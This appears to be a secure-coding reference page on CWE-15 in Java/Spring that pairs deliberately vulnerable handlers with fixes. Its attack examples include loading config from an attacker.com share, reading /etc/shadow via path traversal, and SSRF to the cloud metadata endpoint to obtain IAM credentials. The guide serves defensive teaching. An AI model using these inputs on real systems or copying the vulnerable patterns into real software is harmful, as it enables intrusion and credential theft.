Skip to content

CWE-15: External Control of System or Configuration Setting - Java

Overview

External control of configuration in Java applications occurs when HTTP request parameters, headers, or body values are used to directly modify system properties, application configuration objects, logging settings, or environment-equivalent state at runtime. Attackers can exploit this to disable security logging, redirect API calls to attacker-controlled servers, enable debug mode to expose secrets, or cause denial of service.

Common Java Configuration Injection Scenarios:

  • System.setProperty(userInput, userValue) — modifies JVM-wide system properties
  • conn.setCatalog(request.getParameter("catalog")) — switches active database/schema (MITRE canonical example)
  • Assigning request.getParameter(key) directly to a configuration object
  • Setting log level (SLF4J/Logback) from request parameters
  • Setting network timeouts (setConnectTimeout, setReadTimeout) from request parameters
  • Loading properties files from user-controlled paths

Primary Defence: Set configuration at application startup via @ConfigurationProperties with JSR-303 validation annotations. Any runtime configuration endpoint must authenticate and authorize the caller and constrain values to an explicit allowlist.

Common Vulnerable Patterns

Direct System Property Modification

// VULNERABLE - User controls JVM system properties
@PostMapping("/admin/config")
public ResponseEntity<String> setConfig(
        @RequestParam String key,
        @RequestParam String value) {
    System.setProperty(key, value); // Attacker sets "javax.net.ssl.trustStore=/tmp/malicious"
    return ResponseEntity.ok("Updated");
}

// Attack example:
// POST /admin/config?key=javax.net.ssl.trustStore&value=/tmp/attacker.jks
// Result: Disables TLS certificate validation, enables MITM attacks

Why this is vulnerable: System.setProperty() modifies JVM-wide properties with immediate effect. Attackers can override SSL trust stores, change network timeouts, alter security manager settings, or modify any property that other components read at runtime.

Arbitrary Config Map Key from Request

// VULNERABLE - Any config key overwritable from request parameters
@PostMapping("/settings")
public ResponseEntity<String> updateSetting(
        @RequestParam String setting,
        @RequestParam String value) {
    appConfig.put(setting, value); // Attacker sets "auth.bypass=true"
    return ResponseEntity.ok("Setting updated");
}

// Attack example:
// POST /settings?setting=security.checks.enabled&value=false
// Result: Disables security checks across the application

Why this is vulnerable: Accepting arbitrary config keys allows attackers to modify any setting in the configuration map, including security-critical settings that were never intended to be user-controlled.

Log Level Set from Request Parameter

// VULNERABLE - Log level controllable by any user
@GetMapping("/debug/setLogLevel")
public ResponseEntity<String> setLogLevel(@RequestParam String level) {
    LoggerContext context = (LoggerContext) LoggerFactory.getILoggerFactory();
    Logger root = context.getLogger("ROOT");
    root.setLevel(Level.valueOf(level)); // Attacker sets DEBUG to expose secrets in logs
    return ResponseEntity.ok("Log level set to: " + level);
}

// Attack example:
// GET /debug/setLogLevel?level=DEBUG
// Result: Passwords, tokens, PII now logged to application log files
// GET /debug/setLogLevel?level=OFF
// Result: All security events silenced

Why this is vulnerable: Exposing log level control without authorization allows attackers to both extract sensitive information (by enabling DEBUG) and cover their tracks (by setting level to OFF or ERROR), undermining the audit trail.

Properties File Loaded from User-Controlled Path

// VULNERABLE - Config file path specified by request parameter
@PostMapping("/load-config")
public ResponseEntity<String> loadConfig(@RequestParam String configPath) throws IOException {
    Properties props = new Properties();
    props.load(new FileInputStream(configPath)); // Attacker: "//attacker.com/share/malicious.properties"
    appConfig.merge(props);
    return ResponseEntity.ok("Config loaded");
}

// Attack example:
// POST /load-config?configPath=//attacker.com/share/malicious.properties
// Result: Attacker-controlled config overrides security settings

Why this is vulnerable: Allowing users to specify the configuration file path enables both path traversal attacks (reading arbitrary local files as configuration) and remote configuration loading that could override security-critical settings.

Database Catalog / Schema Set from Request (MITRE Canonical Example)

// VULNERABLE - User controls which database catalog/schema is active
@GetMapping("/report")
public ResponseEntity<String> getReport(
        HttpServletRequest request, Connection conn) throws SQLException {
    String catalog = request.getParameter("catalog");
    conn.setCatalog(catalog); // Attacker sets catalog to another tenant's database
    // ... execute queries against now-switched catalog
    return ResponseEntity.ok(runReport(conn));
}

// Attack example:
// GET /report?catalog=other_customer_db
// Result: Queries execute against a different tenant's database — data exfiltration
// GET /report?catalog=nonexistent
// Result: SQLException — denial of service

Why this is vulnerable: Connection.setCatalog() (and setSchema()) changes which database or schema all subsequent queries run against. Supplying another tenant's catalog name is a direct horizontal privilege escalation — the attacker reads or modifies another customer's data using the application's own credentials.

Network / Socket Timeout Set from Request

// VULNERABLE - Timeout values controlled by user input
@PostMapping("/fetch")
public ResponseEntity<String> fetchData(
        @RequestParam String url,
        @RequestParam int timeoutMs) throws IOException {
    HttpURLConnection conn = (HttpURLConnection) new URL(url).openConnection();
    conn.setConnectTimeout(timeoutMs); // Attacker sets 0 (infinite) or Integer.MAX_VALUE
    conn.setReadTimeout(timeoutMs);
    // ...
    return ResponseEntity.ok(readResponse(conn));
}

// Attack example:
// POST /fetch?url=https://slow-server.com&timeoutMs=0
// Result: Thread blocks indefinitely — denial of service / thread pool exhaustion

Why this is vulnerable: Setting timeoutMs=0 creates an infinite-wait connection that never times out. An attacker sends many requests with zero timeouts against a slow or unresponsive target, exhausting the application's thread pool and causing denial of service for all users.

Secure Patterns

Immutable Startup Configuration with @ConfigurationProperties (PREFERRED)

// SECURE - Immutable config loaded and validated at startup only
@ConfigurationProperties(prefix = "app")
@Validated
public class AppConfig {

    @NotNull
    @Pattern(regexp = "^(INFO|WARN|ERROR)$", message = "LogLevel must be INFO, WARN, or ERROR")
    private String logLevel = "INFO";

    @Min(1) @Max(120)
    private int sessionTimeoutMinutes = 30;

    @NotEmpty
    private String allowedOrigins;

    // Getters only — no setters, immutable after construction
    public String getLogLevel() { return logLevel; }
    public int getSessionTimeoutMinutes() { return sessionTimeoutMinutes; }
    public String getAllowedOrigins() { return allowedOrigins; }
}
# application.yml — configuration defined here, not from HTTP requests
app:
  log-level: INFO
  session-timeout-minutes: 30
  allowed-origins: https://example.com

Why this works: @ConfigurationProperties binds values from application.yml/application.properties at startup only. JSR-303 annotations (@Pattern, @Min, @Max) are enforced by Spring's validation infrastructure — the application will fail to start if configuration is invalid. There are no setters, so the configuration is immutable at runtime; no HTTP request can modify it.

Allowlist-Validated Runtime Log Level Change

// SECURE - Admin-only endpoint with explicit allowlist
private static final Set<String> ALLOWED_LOG_LEVELS = Set.of("INFO", "WARN", "ERROR");

@PostMapping("/admin/log-level")
@PreAuthorize("hasRole('ADMIN')")
public ResponseEntity<String> setLogLevel(@RequestParam String level) {
    if (!ALLOWED_LOG_LEVELS.contains(level.toUpperCase())) {
        return ResponseEntity.badRequest()
            .body("Invalid log level. Allowed: " + ALLOWED_LOG_LEVELS);
    }

    LoggerContext context = (LoggerContext) LoggerFactory.getILoggerFactory();
    context.getLogger("ROOT").setLevel(Level.valueOf(level.toUpperCase()));

    log.info("Log level changed to {} by {}", level,
        SecurityContextHolder.getContext().getAuthentication().getName());

    return ResponseEntity.ok("Log level updated");
}

Why this works: The ALLOWED_LOG_LEVELS set defines the exact values that are accepted — values like DEBUG or TRACE that could expose sensitive data, or OFF that silences the audit trail, are rejected before reaching the logging framework. @PreAuthorize("hasRole('ADMIN')") prevents non-admin users from reaching this endpoint at all. Audit logging records who made the change.

Safe Database Catalog Selection

// SECURE - Catalog name validated against allowlist of permitted databases
private static final Set<String> ALLOWED_CATALOGS = Set.of("reports_db", "archive_db");

@GetMapping("/report")
@PreAuthorize("hasRole('USER')")
public ResponseEntity<String> getReport(
        @RequestParam String catalog, Connection conn) throws SQLException {
    if (!ALLOWED_CATALOGS.contains(catalog)) {
        return ResponseEntity.badRequest().body("Invalid catalog");
    }
    conn.setCatalog(catalog);
    return ResponseEntity.ok(runReport(conn));
}

Why this works: The ALLOWED_CATALOGS set defines exactly which databases users may query. Any name not in the set — including other tenants' databases, system catalogs, or nonexistent names — is rejected before setCatalog() is called.

Safe Network Timeout Configuration

// SECURE - Timeout is a hardcoded constant; user cannot influence it
private static final int CONNECT_TIMEOUT_MS = 5_000;
private static final int READ_TIMEOUT_MS    = 10_000;

@PostMapping("/fetch")
public ResponseEntity<String> fetchData(@RequestParam String url) throws IOException {
    // URL is validated separately; timeout is never from the request
    HttpURLConnection conn = (HttpURLConnection) new URL(url).openConnection();
    conn.setConnectTimeout(CONNECT_TIMEOUT_MS);
    conn.setReadTimeout(READ_TIMEOUT_MS);
    return ResponseEntity.ok(readResponse(conn));
}

Why this works: Timeout values are compile-time constants — no request parameter, header, or body field can change them. If a timeout must be configurable, bind it as a validated @ConfigurationProperties field with @Min(1) @Max(30000) rather than accepting it from the HTTP request.

Enum-Based Configuration Selection

// SECURE - Spring MVC rejects any value not in the enum automatically
public enum LogLevel { INFO, WARN, ERROR }

@PostMapping("/admin/config/log-level")
@PreAuthorize("hasRole('ADMIN')")
public ResponseEntity<String> setLogLevel(@RequestParam LogLevel level) {
    // Spring rejects any value not in the enum before this method is called
    LoggerContext context = (LoggerContext) LoggerFactory.getILoggerFactory();
    context.getLogger("ROOT").setLevel(Level.valueOf(level.name()));

    log.info("Log level changed to {} by {}", level,
        SecurityContextHolder.getContext().getAuthentication().getName());

    return ResponseEntity.ok("Log level updated to: " + level);
}

Why this works: Spring MVC automatically rejects any @RequestParam value that doesn't map to a valid enum constant, returning 400 Bad Request before the handler runs. The enum definition itself is the allowlist — adding or removing permitted values is done in one place.

Admin Config Endpoint with Double-Gated Allowlist

// SECURE - Both key name and value are allowlisted
@RestController
@RequestMapping("/api/v1/admin/config")
@PreAuthorize("hasRole('ADMIN')")
@Slf4j
public class AdminConfigController {

    private static final Map<String, Set<String>> ALLOWED_VALUES = Map.of(
        "timeout.session",   Set.of("15", "30", "60"),
        "feature.beta",      Set.of("true", "false"),
        "log.level",         Set.of("INFO", "WARN", "ERROR")
    );

    @PostMapping("/{key}")
    public ResponseEntity<String> updateConfig(
            @PathVariable String key,
            @RequestParam String value,
            Principal principal) {

        Set<String> allowed = ALLOWED_VALUES.get(key);
        if (allowed == null) {
            log.warn("Rejected unknown config key '{}' from {}", key, principal.getName());
            return ResponseEntity.badRequest().body("Unknown configuration key");
        }

        if (!allowed.contains(value)) {
            log.warn("Rejected invalid value '{}' for key '{}' from {}", value, key, principal.getName());
            return ResponseEntity.badRequest().body("Invalid value. Allowed: " + allowed);
        }

        configService.update(key, value);
        log.info("Config '{}' updated to '{}' by {}", key, value, principal.getName());
        return ResponseEntity.ok("Updated");
    }
}

Why this works: ALLOWED_VALUES double-gates the input: first validating that the key name is a known settable field (preventing modification of undeclared keys like security.disabled), then validating the value against that key's specific allowlist. @PreAuthorize("hasRole('ADMIN')") blocks non-admins at the Spring Security layer. All accept and reject decisions are audit-logged with the requesting user's identity.

Testing

Verify the fix by testing:

  • Allowlist bypass: Submit values outside the allowlist (e.g., level=DEBUG when DEBUG is not permitted) — expect 400 rejection
  • Unknown key injection: Attempt to set undeclared config keys (e.g., security.disabled=true) — expect 400
  • Authorization bypass: Call config endpoints without an admin session — expect 401/403
  • System property injection: Attempt javax.net.ssl.trustStore or similar JVM properties via any endpoint — must fail
  • Path traversal in config paths: If any config file loading exists, test with ../../etc/passwd — expect rejection

Untrusted Configuration Sources

A related attack vector occurs when the application loads configuration from a location that untrusted input controls.

Config File Loaded from User-Supplied Path (Vulnerable)

// VULNERABLE - Properties file path comes from request parameter
@PostMapping("/admin/load-config")
public ResponseEntity<String> loadConfig(@RequestParam String configPath) throws IOException {
    Properties props = new Properties();
    props.load(new FileInputStream(configPath));
    // Attack: configPath = "../../etc/passwd" or "//attacker.com/evil.properties"
    appConfig.merge(props);
    return ResponseEntity.ok("Loaded");
}

// Attack example:
// POST /admin/load-config?configPath=../../etc/shadow
// Result: /etc/shadow parsed as .properties file; values leak into appConfig

Why this is vulnerable: FileInputStream with a user-controlled path follows ../ traversal sequences, allowing reads from anywhere on the filesystem. //attacker.com/... paths cause SMB/UNC requests on some platforms, leaking credentials or loading attacker-controlled configuration.

Config File Loaded from User-Supplied Path (Secure)

// SECURE - Path hardcoded per environment; user cannot influence which file is loaded
private static final Path CONFIG_DIR = Paths.get("/var/app/configs").toAbsolutePath().normalize();
private static final Set<String> ALLOWED_FILENAMES = Set.of(
    "feature-flags.properties",
    "rate-limits.properties"
);

@PostMapping("/admin/load-config")
@PreAuthorize("hasRole('ADMIN')")
public ResponseEntity<String> loadConfig(@RequestParam String filename) throws IOException {
    // Validate filename is an allowed name (no path separators)
    if (!ALLOWED_FILENAMES.contains(filename)) {
        return ResponseEntity.badRequest().body("Unknown config file");
    }

    // Resolve within the trusted directory and verify the result stays inside it
    Path resolved = CONFIG_DIR.resolve(filename).normalize();
    if (!resolved.startsWith(CONFIG_DIR)) {
        return ResponseEntity.badRequest().body("Invalid path");
    }

    Properties props = new Properties();
    try (InputStream in = Files.newInputStream(resolved)) {
        props.load(in);
    }

    // Apply only known-safe keys from the loaded file
    configService.applyAllowlisted(props);
    log.info("Config file '{}' loaded by {}", filename, SecurityContextHolder
        .getContext().getAuthentication().getName());
    return ResponseEntity.ok("Loaded");
}

Why this works: The filename is validated against an explicit allowlist of known-safe file names before any path is constructed, so no traversal sequence can reach the file system. CONFIG_DIR.resolve(filename).normalize().startsWith(CONFIG_DIR) is a defence-in-depth check that blocks any residual traversal. Only pre-known keys are applied from the loaded properties, so an attacker who somehow supplied a crafted file cannot inject unexpected settings.

Remote Config URL Fetched at Request Time (Vulnerable)

// VULNERABLE - Application fetches config from user-supplied URL
@PostMapping("/admin/remote-config")
public ResponseEntity<String> loadRemoteConfig(@RequestParam String configUrl) throws IOException {
    String content = new URL(configUrl).openStream().readAllBytes().toString();
    // Attack: configUrl = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
    parseAndApply(content);
    return ResponseEntity.ok("Remote config loaded");
}

// Attack example:
// POST /admin/remote-config?configUrl=http://169.254.169.254/latest/meta-data/
// Result: AWS instance metadata fetched and applied as config (SSRF + credential theft)

Why this is vulnerable: Fetching a URL from user input is an SSRF vulnerability. In cloud environments the AWS/GCP/Azure metadata endpoint is reachable from the instance and can return IAM credentials. Internally hosted services, databases, and admin interfaces are also reachable.

Remote Config URL Fetched at Request Time (Secure)

// SECURE - Config source URL is hardcoded; user cannot influence which endpoint is called
private static final String INTERNAL_CONFIG_URL =
    "https://config.internal.example.com/api/v1/app-config";

@PostMapping("/admin/refresh-config")
@PreAuthorize("hasRole('ADMIN')")
public ResponseEntity<String> refreshConfig() throws IOException {
    // URL is NOT derived from any request parameter
    HttpClient client = HttpClient.newHttpClient();
    HttpRequest req = HttpRequest.newBuilder()
        .uri(URI.create(INTERNAL_CONFIG_URL))
        .header("Authorization", "Bearer " + internalTokenProvider.get())
        .build();
    HttpResponse<String> response = client.send(req, HttpResponse.BodyHandlers.ofString());
    configService.applyFromJson(response.body());
    log.info("Config refreshed from internal service by {}",
        SecurityContextHolder.getContext().getAuthentication().getName());
    return ResponseEntity.ok("Refreshed");
}

Why this works: The config endpoint URL is a compile-time constant — there is no code path from an HTTP request parameter to the URL used in the outbound fetch. Even an admin cannot redirect the fetch to an arbitrary host.

Additional Resources